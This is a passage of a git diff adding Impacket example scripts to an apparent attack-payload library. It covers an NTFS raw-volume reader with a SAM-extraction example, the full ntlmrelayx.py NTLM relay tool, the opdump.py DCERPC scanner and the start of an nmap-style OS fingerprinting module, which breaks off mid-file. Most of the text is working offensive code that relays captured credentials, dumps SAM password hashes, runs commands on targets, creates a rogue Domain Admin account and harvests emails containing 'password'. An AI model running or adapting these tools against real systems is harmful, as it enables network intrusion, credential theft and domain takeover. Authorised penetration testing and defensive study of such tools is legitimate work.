__init__(self, volumeName): + self.__volumeName = volumeName + self.__bootSector = None + self.__MFTStart = None + self.volumeFD = None + self.BPB = None + self.ExtendedBPB = None + self.RecordSize = None + self.IndexBlockSize = None + self.SectorSize = None + self.MFTINode = None + self.mountVolume() + + def mountVolume(self): + logging.debug("Mounting volume...") + self.volumeFD = open(self.__volumeName,"rb") + self.readBootSector() + self.MFTINode = self.getINode(FILE_MFT) + # Check whether MFT is fragmented + attr = self.MFTINode.searchAttribute(DATA, None) + if attr is None: + # It's not + del self.MFTINode + self.MFTINode = None + + def readBootSector(self): + logging.debug("Reading Boot Sector for %s" % self.__volumeName) + + self.volumeFD.seek(0,0) + data = self.volumeFD.read(512) + while len(data) < 512: + data += self.volumeFD.read(512) + + self.__bootSector = NTFS_BOOT_SECTOR(data) + self.BPB = NTFS_BPB(self.__bootSector['BPB']) + self.ExtendedBPB = NTFS_EXTENDED_BPB(self.__bootSector['ExtendedBPB']) + self.SectorSize = self.BPB['BytesPerSector'] + self.__MFTStart = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['MFTClusterNumber'] + if self.ExtendedBPB['ClusterPerFileRecord'] > 0: + self.RecordSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerFileRecord'] + else: + self.RecordSize = 1 << (-self.ExtendedBPB['ClusterPerFileRecord']) + if self.ExtendedBPB['ClusterPerIndexBuffer'] > 0: + self.IndexBlockSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerIndexBuffer'] + else: + self.IndexBlockSize = 1 << (-self.ExtendedBPB['ClusterPerIndexBuffer']) + + logging.debug("MFT should start at position %d" % self.__MFTStart) + + def getINode(self, iNodeNum): + logging.debug("Trying to fetch inode %d" % iNodeNum) + + newINode = INODE(self) + + recordLen = self.RecordSize + + # Let's calculate where in disk this iNode should be + if self.MFTINode and iNodeNum > FIXED_MFTS: + # Fragmented $MFT + attr = self.MFTINode.searchAttribute(DATA,None) + record = attr.read(iNodeNum*self.RecordSize, self.RecordSize) + else: + diskPosition = self.__MFTStart + iNodeNum * self.RecordSize + self.volumeFD.seek(diskPosition,0) + record = self.volumeFD.read(recordLen) + while len(record) < recordLen: + record += self.volumeFD.read(recordLen-len(record)) + + mftRecord = NTFS_MFT_RECORD(record) + + record = newINode.PerformFixUp(mftRecord, record, self.RecordSize/self.SectorSize) + newINode.INodeNumber = iNodeNum + newINode.AttributesRaw = record[mftRecord['AttributesOffset']-recordLen:] + newINode.parseAttributes() + + return newINode + +class MiniShell(cmd.Cmd): + def __init__(self, volume): + cmd.Cmd.__init__(self) + self.volumePath = volume + self.volume = NTFS(volume) + self.rootINode = self.volume.getINode(5) + self.prompt = '\\>' + self.intro = 'Type help for list of commands' + self.currentINode = self.rootINode + self.completion = [] + self.pwd = '\\' + self.do_ls('',False) + self.last_output = '' + + def emptyline(self): + pass + + def onecmd(self,s): + retVal = False + try: + retVal = cmd.Cmd.onecmd(self,s) + except Exception, e: + logging.error(str(e)) + + return retVal + + def do_exit(self,line): + return True + + def do_shell(self, line): + output = os.popen(line).read() + print output + self.last_output = output + + def do_help(self,line): + print """ + cd {path} - changes the current directory to {path} + pwd - shows current remote directory + ls - lists all the files in the current directory + lcd - change local directory + get {filename} - downloads the filename from the current path + cat {filename} - prints the contents of filename + hexdump {filename} - hexdumps the contents of filename + exit - terminates the server process (and this session) + +""" + + def do_lcd(self,line): + if line == '': + print os.getcwd() + else: + os.chdir(line) + print os.getcwd() + + def do_cd(self, line): + p = string.replace(line,'/','\\') + oldpwd = self.pwd + newPath = ntpath.normpath(ntpath.join(self.pwd,p)) + if newPath == self.pwd: + # Nothing changed + return + common = ntpath.commonprefix([newPath,oldpwd]) + + if common == oldpwd: + res = self.findPathName(ntpath.normpath(p)) + else: + res = self.findPathName(newPath) + + if res is None: + logging.error("Directory not found") + self.pwd = oldpwd + return + if res.isDirectory() == 0: + logging.error("Not a directory!") + self.pwd = oldpwd + return + else: + self.currentINode = res + self.do_ls('', False) + self.pwd = ntpath.join(self.pwd,p) + self.pwd = ntpath.normpath(self.pwd) + self.prompt = self.pwd + '>' + + def findPathName(self, pathName): + if pathName == '\\': + return self.rootINode + tmpINode = self.currentINode + parts = pathName.split('\\') + for part in parts: + if part == '': + tmpINode = self.rootINode + else: + res = tmpINode.findFirst(part) + if res is None: + return res + else: + tmpINode = self.volume.getINode(res.getINodeNumber()) + + return tmpINode + + def do_pwd(self,line): + print self.pwd + + def do_ls(self, line, display = True): + entries = self.currentINode.walk() + self.completion = [] + for entry in entries: + inode = INODE(self.volume) + inode.FileAttributes = entry['FileAttributes'] + inode.FileSize = entry['DataSize'] + inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(entry['LastDataChangeTime'])) + inode.FileName = entry['FileName'].decode('utf-16le') + if display is True: + inode.displayName() + self.completion.append((inode.FileName,inode.isDirectory())) + + def complete_cd(self, text, line, begidx, endidx): + return self.complete_get(text, line, begidx, endidx, include = 2) + + def complete_cat(self,text,line,begidx,endidx): + return self.complete_get(text, line, begidx, endidx) + + def complete_hexdump(self,text,line,begidx,endidx): + return self.complete_get(text, line, begidx, endidx) + + def complete_get(self, text, line, begidx, endidx, include = 1): + # include means + # 1 just files + # 2 just directories + items = [] + if include == 1: + mask = 0 + else: + mask = FILE_ATTR_I30_INDEX_PRESENT + for i in self.completion: + if i[1] == mask: + items.append(i[0]) + if text: + return [ + item for item in items + if item.upper().startswith(text.upper()) + ] + else: + return items + + def do_hexdump(self,line): + return self.do_cat(line,command = hexdump) + + def do_cat(self, line, command = sys.stdout.write): + pathName = string.replace(line,'/','\\') + pathName = ntpath.normpath(ntpath.join(self.pwd,pathName)) + res = self.findPathName(pathName) + if res is None: + logging.error("Not found!") + return + if res.isDirectory() > 0: + logging.error("It's a directory!") + return + if res.isCompressed() or res.isEncrypted() or res.isSparse(): + logging.error('Cannot handle compressed/encrypted/sparse files! :(') + return + stream = res.getStream(None) + chunks = 4096*10 + written = 0 + for i in range(stream.getDataSize()/chunks): + buf = stream.read(i*chunks, chunks) + written += len(buf) + command(buf) + if stream.getDataSize() % chunks: + buf = stream.read(written, stream.getDataSize() % chunks) + command(buf) + logging.info("%d bytes read" % stream.getDataSize()) + + def do_get(self, line): + pathName = string.replace(line,'/','\\') + pathName = ntpath.normpath(ntpath.join(self.pwd,pathName)) + fh = open(ntpath.basename(pathName),"wb") + self.do_cat(line, command = fh.write) + fh.close() + +def main(): + print version.BANNER + # Init the example's logger theme + logger.init() + parser = argparse.ArgumentParser(add_help = True, description = "NTFS explorer (read-only)") + parser.add_argument('volume', action='store', help='NTFS volume to open (e.g. \\\\.\\C: or /dev/disk1s1)') + parser.add_argument('-extract', action='store', help='extracts pathname (e.g. \windows\system32\config\sam)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + shell = MiniShell(options.volume) + if options.extract is not None: + shell.onecmd("get %s"% options.extract) + else: + shell.cmdloop() + +if __name__ == '__main__': + main() + sys.exit(1) + + + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/ntlmrelayx.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/ntlmrelayx.py new file mode 100644 index 0000000..26f4463 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/ntlmrelayx.py @@ -0,0 +1,484 @@ +#!/usr/bin/env python +# Copyright (c) 2013-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Generic NTLM Relay Module +# +# Authors: +# Alberto Solino (@agsolino) +# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) +# +# Description: +# This module performs the SMB Relay attacks originally discovered +# by cDc. It receives a list of targets and for every connection received it +# will choose the next target and try to relay the credentials. Also, if +# specified, it will first to try authenticate against the client connecting +# to us. +# +# It is implemented by invoking a SMB and HTTP Server, hooking to a few +# functions and then using the smbclient portion. It is supposed to be +# working on any LM Compatibility level. The only way to stop this attack +# is to enforce on the server SPN checks and or signing. +# +# If the target system is enforcing signing and a machine account was provided, +# the module will try to gather the SMB session key through +# NETLOGON (CVE-2015-0005) +# +# If the authentication against the targets succeed, the client authentication +# success as well and a valid connection is set against the local smbserver. +# It's up to the user to set up the local smbserver functionality. One option +# is to set up shares with whatever files you want to the victim thinks it's +# connected to a valid SMB server. All that is done through the smb.conf file or +# programmatically. +# + +import argparse +import sys +import thread +import logging +import random +import string +import re +import os +from threading import Thread + +from impacket import version, smb3, smb +from impacket.examples import logger +from impacket.examples import serviceinstall +from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer +from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig +from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher +from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell +from impacket.smbconnection import SMBConnection +from smbclient import MiniImpacketShell + +class SMBAttack(Thread): + def __init__(self, config, SMBClient, username): + Thread.__init__(self) + self.daemon = True + if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): + self.__SMBConnection = SMBConnection(existingConnection = SMBClient) + else: + self.__SMBConnection = SMBClient + self.config = config + self.__answerTMP = '' + if self.config.interactive: + #Launch locally listening interactive shell + self.tcpshell = TcpShell() + else: + self.tcpshell = None + if self.config.exeFile is not None: + self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) + + def __answer(self, data): + self.__answerTMP += data + + def run(self): + # Here PUT YOUR CODE! + if self.tcpshell is not None: + logging.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) + #Start listening and launch interactive shell + self.tcpshell.listen() + self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile) + self.shell.cmdloop() + return + if self.config.exeFile is not None: + result = self.installService.install() + if result is True: + logging.info("Service Installed.. CONNECT!") + self.installService.uninstall() + else: + from impacket.examples.secretsdump import RemoteOperations, SAMHashes + samHashes = None + try: + # We have to add some flags just in case the original client did not + # Why? needed for avoiding INVALID_PARAMETER + flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() + flags2 |= smb.SMB.FLAGS2_LONG_NAMES + self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) + + remoteOps = RemoteOperations(self.__SMBConnection, False) + remoteOps.enableRegistry() + except Exception, e: + # Something wen't wrong, most probably we don't have access as admin. aborting + logging.error(str(e)) + return + + try: + if self.config.command is not None: + remoteOps._RemoteOperations__executeRemote(self.config.command) + logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) + self.__answerTMP = '' + self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) + self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') + print self.__answerTMP.decode(self.config.encoding, 'replace') + else: + bootKey = remoteOps.getBootKey() + remoteOps._RemoteOperations__serviceDeleted = True + samFileName = remoteOps.saveSAM() + samHashes = SAMHashes(samFileName, bootKey, isRemote = True) + samHashes.dump() + samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') + logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) + except Exception, e: + logging.error(str(e)) + finally: + if samHashes is not None: + samHashes.finish() + if remoteOps is not None: + remoteOps.finish() + +#Define global variables to prevent dumping the domain twice +dumpedDomain = False +addedDomainAdmin = False +class LDAPAttack(Thread): + def __init__(self, config, LDAPClient, username): + Thread.__init__(self) + self.daemon = True + + #Import it here because non-standard dependency + self.ldapdomaindump = __import__('ldapdomaindump') + self.client = LDAPClient + self.username = username.decode('utf-16le') + + #Global config + self.config = config + + def addDA(self, domainDumper): + global addedDomainAdmin + if addedDomainAdmin: + logging.error('DA already added. Refusing to add another') + return + + #Random password + newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) + + #Random username + newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10)) + + ucd = { + 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root, + 'distinguishedName': 'CN=%s,CN=Users,%s' % (newUser,domainDumper.root), + 'cn': newUser, + 'sn': newUser, + 'givenName': newUser, + 'displayName': newUser, + 'name': newUser, + 'userAccountControl': 512, + 'accountExpires': 0, + 'sAMAccountName': newUser, + 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') + } + + res = self.client.connection.add('CN=%s,CN=Users,%s' % (newUser,domainDumper.root),['top','person','organizationalPerson','user'],ucd) + if not res: + logging.error('Failed to add a new user: %s' % str(self.client.connection.result)) + else: + logging.info('Adding new user with username: %s and password: %s result: OK' % (newUser,newPassword)) + + domainsid = domainDumper.getRootSid() + dagroupdn = domainDumper.getDAGroupDN(domainsid) + res = self.client.connection.modify(dagroupdn, { + 'member': [(self.client.MODIFY_ADD, ['CN=%s,CN=Users,%s' % (newUser, domainDumper.root)])]}) + if res: + logging.info('Adding user: %s to group Domain Admins result: OK' % newUser) + logging.info('Domain Admin privileges aquired, shutting down...') + addedDomainAdmin = True + thread.interrupt_main() + else: + logging.error('Failed to add user to Domain Admins group: %s' % str(self.client.connection.result)) + + def run(self): + global dumpedDomain + #Set up a default config + domainDumpConfig = self.ldapdomaindump.domainDumpConfig() + + #Change the output directory to configured rootdir + domainDumpConfig.basepath = self.config.lootdir + + #Create new dumper object + domainDumper = self.ldapdomaindump.domainDumper(self.client.server, self.client.connection, domainDumpConfig) + + if domainDumper.isDomainAdmin(self.username): + logging.info('User is a Domain Admin!') + if self.config.addda: + if 'ldaps' in self.client.target: + self.addDA(domainDumper) + else: + logging.error('Connection to LDAP server does not use LDAPS, to enable adding a DA specify the target with ldaps:// instead of ldap://') + else: + logging.info('Not adding a new Domain Admin because of configuration options') + else: + logging.info('User is not a Domain Admin') + if not dumpedDomain and self.config.dumpdomain: + #do this before the dump is complete because of the time this can take + dumpedDomain = True + logging.info('Dumping domain info for first time') + domainDumper.domainDump() + logging.info('Domain info dumped into lootdir!') + + +class HTTPAttack(Thread): + def __init__(self, config, HTTPClient, username): + Thread.__init__(self) + self.daemon = True + self.config = config + self.client = HTTPClient + self.username = username + + def run(self): + #Default action: Dump requested page to file, named username-targetname.html + + #You can also request any page on the server via self.client.session, + #for example with: + #result = self.client.session.get('http://secretserver/secretpage.html') + #print result.content + + #Remove protocol from target name + safeTargetName = self.client.target.replace('http://','').replace('https://','') + + #Replace any special chars in the target name + safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName) + + #Combine username with filename + fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html' + + #Write it to the file + with open(os.path.join(self.config.lootdir,fileName),'w') as of: + of.write(self.client.lastresult) + +class IMAPAttack(Thread): + def __init__(self, config, IMAPClient, username): + Thread.__init__(self) + self.daemon = True + self.config = config + self.client = IMAPClient + self.username = username + + def run(self): + #Default action: Search the INBOX for messages with "password" in the header or body + targetBox = self.config.mailbox + result, data = self.client.session.select(targetBox,True) #True indicates readonly + if result != 'OK': + logging.error('Could not open mailbox %s: %s' % (targetBox,data)) + logging.info('Opening mailbox INBOX') + targetBox = 'INBOX' + result, data = self.client.session.select(targetBox,True) #True indicates readonly + inboxCount = int(data[0]) + logging.info('Found %s messages in mailbox %s' % (inboxCount,targetBox)) + #If we should not dump all, search for the keyword + if not self.config.dump_all: + result, rawdata = self.client.session.search(None,'OR','SUBJECT','"%s"' % self.config.keyword,'BODY','"%s"' % self.config.keyword) + #Check if search worked + if result != 'OK': + logging.error('Search failed: %s' % rawdata) + return + dumpMessages = [] + #message IDs are separated by spaces + for msgs in rawdata: + dumpMessages += msgs.split(' ') + if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max: + dumpMessages = dumpMessages[:self.config.dump_max] + else: + #Dump all mails, up to the maximum number configured + if self.config.dump_max == 0 or self.config.dump_max > inboxCount: + dumpMessages = range(1,inboxCount+1) + else: + dumpMessages = range(1,self.config.dump_max+1) + + numMsgs = len(dumpMessages) + if numMsgs == 0: + logging.info('No messages were found containing the search keywords') + else: + logging.info('Dumping %d messages found by search for "%s"' % (numMsgs,self.config.keyword)) + for i,msgIndex in enumerate(dumpMessages): + #Fetch the message + result, rawMessage = self.client.session.fetch(msgIndex, '(RFC822)') + if result != 'OK': + logging.error('Could not fetch message with index %s: %s' % (msgIndex,rawMessage)) + continue + + #Replace any special chars in the mailbox name and username + mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) + textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + + #Combine username with mailboxname and mail number + fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml' + + #Write it to the file + with open(os.path.join(self.config.lootdir,fileName),'w') as of: + of.write(rawMessage[0][1]) + logging.info('Done fetching message %d/%d' % (i+1,numMsgs)) + + #Close connection cleanly + self.client.session.logout() + +class MSSQLAttack(Thread): + def __init__(self, config, MSSQLClient): + Thread.__init__(self) + self.config = config + self.client = MSSQLClient + + def run(self): + if self.config.queries is None: + logging.error('No SQL queries specified for MSSQL relay!') + else: + for query in self.config.queries: + logging.info('Executing SQL: %s' % query) + self.client.sql_query(query) + self.client.printReplies() + self.client.printRows() + +# Process command-line arguments. +if __name__ == '__main__': + + RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) + ATTACKS = { 'SMB': SMBAttack, 'LDAP': LDAPAttack, 'HTTP': HTTPAttack, 'MSSQL': MSSQLAttack, 'IMAP': IMAPAttack} + # Init the example's logger theme + logger.init() + print version.BANNER + #Parse arguments + parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will " + "try to relay that connection to specified target(s) system or the original client") + parser._optionals.title = "Main options" + + #Main arguments + parser.add_argument("-h","--help", action="help", help='show this help message and exit') + parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help='Target to relay the credentials to, ' + 'can be an IP, hostname or URL like smb://server:445 If unspecified, it will relay back to the client') + parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or ' + 'full URL, one per line') + parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list ' + 'automatically (only valid with -tf)') + parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient/mssqlclient console instead' + 'of executing a command after a successful relay. This console will listen locally on a ' + ' tcp port and can be reached with for example netcat.') + parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection (HTTP server only)') + parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') + parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot ' + 'directory in which gathered loot such as SAM dumps will be stored (default: current directory).') + parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes ' + 'will be added for ntlm and ntlmv2') + parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' + '"%s"). If errors are detected, run chcp.com at the target, ' + 'map the result with ' + 'https://docs.python.org/2.4/lib/standard-encodings.html and then execute wmiexec.py ' + 'again with -codec and the corresponding codec ' % sys.getdefaultencoding()) + parser.add_argument('-machine-account', action='store', required=False, help='Domain machine account to use when ' + 'interacting with the domain to grab a session key for signing, format is domain/machine_name') + parser.add_argument('-machine-hashes', action="store", metavar = "LMHASH:NTHASH", help='Domain machine hashes, format is LMHASH:NTHASH') + parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') + + #SMB arguments + smboptions = parser.add_argument_group("SMB client options") + smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. ' + 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') + smboptions.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' + 'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same ' + 'directory).') + + #MSSQL arguments + mssqloptions = parser.add_argument_group("MSSQL client options") + mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute' + '(can specify multiple)') + + #HTTP options (not in use for now) + # httpoptions = parser.add_argument_group("HTTP client options") + # httpoptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute' + # '(can specify multiple)') + + #LDAP options + ldapoptions = parser.add_argument_group("LDAP client options") + ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') + ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin') + + #IMAP options + imapoptions = parser.add_argument_group("IMAP client options") + imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. ' + 'If not specified, will search for mails containing "password"') + imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX') + imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, ' + 'dump all emails') + imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump ' + '(0 = unlimited, default: no limit)') + + try: + options = parser.parse_args() + except Exception, e: + logging.error(str(e)) + sys.exit(1) + + if options.codec is not None: + codec = options.codec + else: + codec = sys.getdefaultencoding() + + if options.target is not None: + logging.info("Running in relay mode to single host") + mode = 'RELAY' + targetSystem = TargetsProcessor(singletarget=options.target) + else: + if options.tf is not None: + #Targetfile specified + logging.info("Running in relay mode to hosts in targetfile") + targetSystem = TargetsProcessor(targetlistfile=options.tf) + mode = 'RELAY' + else: + logging.info("Running in reflection mode") + targetSystem = None + mode = 'REFLECTION' + + if options.r is not None: + logging.info("Running HTTP server in redirect mode") + + if targetSystem is not None and options.w: + watchthread = TargetsFileWatcher(targetSystem) + watchthread.start() + + for server in RELAY_SERVERS: + #Set up config + c = NTLMRelayxConfig() + c.setTargets(targetSystem) + c.setExeFile(options.e) + c.setCommand(options.c) + c.setEncoding(codec) + c.setMode(mode) + c.setAttacks(ATTACKS) + c.setLootdir(options.lootdir) + c.setOutputFile(options.output_file) + c.setLDAPOptions(options.no_dump,options.no_da) + c.setMSSQLOptions(options.query) + c.setInteractive(options.interactive) + c.setIMAPOptions(options.keyword,options.mailbox,options.all,options.imap_max) + + #If the redirect option is set, configure the HTTP server to redirect targets to SMB + if server is HTTPRelayServer and options.r is not None: + c.setMode('REDIRECT') + c.setRedirectHost(options.r) + + #Use target randomization if configured and the server is not SMB + #SMB server at the moment does not properly store active targets so selecting them randomly will cause issues + if server is not SMBRelayServer and options.random: + c.setRandomTargets(True) + + if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None: + c.setDomainAccount( options.machine_account, options.machine_hashes, options.domain) + elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False: + logging.error("You must specify machine-account/hashes/domain all together!") + sys.exit(1) + + s = server(c) + s.start() + + print "" + logging.info("Servers started, waiting for connections") + while True: + try: + sys.stdin.read() + except KeyboardInterrupt: + sys.exit(1) + else: + pass diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/opdump.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/opdump.py new file mode 100644 index 0000000..b9ed046 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/opdump.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python +"""opdump - scan for operations on a given DCERPC interface + +Usage: opdump.py hostname port interface version + +This binds to the given hostname:port and DCERPC interface. Then, it tries to +call each of the first 256 operation numbers in turn and reports the outcome +of each call. + +This will generate a burst of TCP connections to the given host:port! + +Example: +$ ./opdump.py 10.0.0.30 135 99FCFEC4-5260-101B-BBCB-00AA0021347A 0.0 +op 0 (0x00): rpc_x_bad_stub_data +op 1 (0x01): rpc_x_bad_stub_data +op 2 (0x02): rpc_x_bad_stub_data +op 3 (0x03): success +op 4 (0x04): rpc_x_bad_stub_data +ops 5-255: nca_s_op_rng_error + +rpc_x_bad_stub_data, rpc_s_access_denied, and success generally means there's an +operation at that number. + +Author: Catalin Patulea +""" +import sys + +from impacket.examples import logger +from impacket import uuid +from impacket.dcerpc.v5 import transport + + +def main(args): + if len(args) != 4: + print "usage: opdump.py hostname port interface version" + return 1 + + host, port, interface, version = args[0], int(args[1]), args[2], args[3] + + stringbinding = "ncacn_ip_tcp:%s" % host + trans = transport.DCERPCTransportFactory(stringbinding) + trans.set_dport(port) + + results = [] + for i in range(256): + dce = trans.get_dce_rpc() + dce.connect() + + iid = uuid.uuidtup_to_bin((interface, version)) + dce.bind(iid) + + dce.call(i, "") + try: + dce.recv() + except Exception, e: + result = str(e) + else: + result = "success" + + dce.disconnect() + + results.append(result) + + # trim duplicate suffixes from the back + suffix = results[-1] + while results and results[-1] == suffix: + results.pop() + + for i, result in enumerate(results): + print "op %d (0x%02x): %s" % (i, i, result) + + print "ops %d-%d: %s" % (len(results), 255, suffix) + +if __name__ == "__main__": + # Init the example's logger theme + logger.init() + sys.exit(main(sys.argv[1:])) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/os_ident.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/os_ident.py new file mode 100644 index 0000000..50767f8 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/os_ident.py @@ -0,0 +1,2143 @@ +#-- +# Copyright (c) 2001-2016 CORE Security Technologies, CORE SDI Inc. +# All rights reserved. +# +# This computer software is owned by Core SDI Inc. and is +# protected by U.S. copyright laws and other laws and by international +# treaties. This computer software is furnished by CORE SDI Inc. +# pursuant to a written license agreement and may be used, copied, +# transmitted, and stored only in accordance with the terms of such +# license and with the inclusion of the above copyright notice. This +# computer software or any other copies thereof may not be provided or +# otherwise made available to any other person. +# +#` +# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED +# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR +# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF +# THIS SOFTWARE +# +#-- + +from impacket.ImpactPacket import * +from impacket.ImpactDecoder import * + +g_nmap1_signature_filename="nmap-os-fingerprints" +g_nmap2_signature_filename="nmap-os-db" + +class os_id_exception: + def __init__(self, value): + self.value = value + def __str__(self): + return `self.value` + +class os_id_test: + + def __init__(self, id): + self.__id = id + self.__my_packet = None + self.__result_dict = {} + + def test_id(self): + return self.__class__.__name__ + + def get_test_packet(self): + return self.__my_packet.get_packet() + + def set_packet(self, packet): + self.__my_packet = packet + + def get_packet(self): + return self.__my_packet + + def process(self, packet): + pass + + def add_result(self, name, value): + self.__result_dict[name] = value + + def get_id(self): + return self.__id + def is_mine(self, packet): + pass + + def get_result_dict(self): + return self.__result_dict; + + def get_final_result(self): + "Returns a string representation of the final result of this test or None if no response was received" + pass + + +class icmp_request(os_id_test): + type_filter = { ICMP.ICMP_ECHO : ICMP.ICMP_ECHOREPLY, + ICMP.ICMP_IREQ : ICMP.ICMP_IREQREPLY, + ICMP.ICMP_MASKREQ : ICMP.ICMP_MASKREPLY, + ICMP.ICMP_TSTAMP : ICMP.ICMP_TSTAMPREPLY } + + def __init__(self, id, addresses, type): + os_id_test.__init__(self, id) + self.e = Ethernet() + self.i = IP() + self.icmp = ICMP() + + self.i.set_ip_src(addresses[0]) + self.i.set_ip_dst(addresses[1]) + + self.__type = type + self.icmp.set_icmp_type(type) + + self.e.contains(self.i) + self.i.contains(self.icmp) + self.set_packet(self.e) + + def is_mine(self, packet): + + if packet.get_ether_type() != ImpactPacket.IP.ethertype: + return 0 + ip = packet.child() + if not ip or ip.get_ip_p() != ImpactPacket.ICMP.protocol: + return 0 + icmp = ip.child() + + # icmp_request.type_filter is a dictionary that maps request + # type codes to the reply codes + + if not icmp or \ + icmp.get_icmp_type() != icmp_request.type_filter[self.__type]: + return 0 + if icmp.get_icmp_id() != self.get_id(): + return 0 + + return 1 + + def process(self, packet): + pass + + +class nmap2_icmp_echo_probe_1(icmp_request): + # The first one has the IP DF bit set, a type-of-service (TOS) byte + # value of zero, a code of nine (even though it should be zero), + # the sequence number 295, a random IP ID and ICMP request identifier, + # and a random character repeated 120 times for the data payload. + sequence_number = 295 + id = 0x5678 + + def __init__(self, id, addresses): + icmp_request.__init__(self, id, addresses, ICMP.ICMP_ECHO) + self.i.set_ip_df(True) + self.i.set_ip_tos(0) + self.icmp.set_icmp_code(9) + self.icmp.set_icmp_seq(nmap2_icmp_echo_probe_1.sequence_number) + self.i.set_ip_id(nmap2_icmp_echo_probe_1.id) + self.icmp.set_icmp_id(nmap2_icmp_echo_probe_1.id) + self.icmp.contains(Data("I" * 120)) + + def process(self, packet): + pass + +class nmap2_icmp_echo_probe_2(icmp_request): + # The second ping query is similar, except a TOS of four + # (IP_TOS_RELIABILITY) is used, the code is zero, 150 bytes of data is + # sent, and the IP ID, request ID, and sequence numbers are incremented + # by one from the previous query values. + + def __init__(self, id, addresses): + icmp_request.__init__(self, id, addresses, ICMP.ICMP_ECHO) + self.i.set_ip_df(False) + self.i.set_ip_tos(4) + self.icmp.set_icmp_code(0) + self.icmp.set_icmp_seq(nmap2_icmp_echo_probe_1.sequence_number + 1) + self.i.set_ip_id(nmap2_icmp_echo_probe_1.id + 1) + self.icmp.set_icmp_id(nmap2_icmp_echo_probe_1.id + 1) + 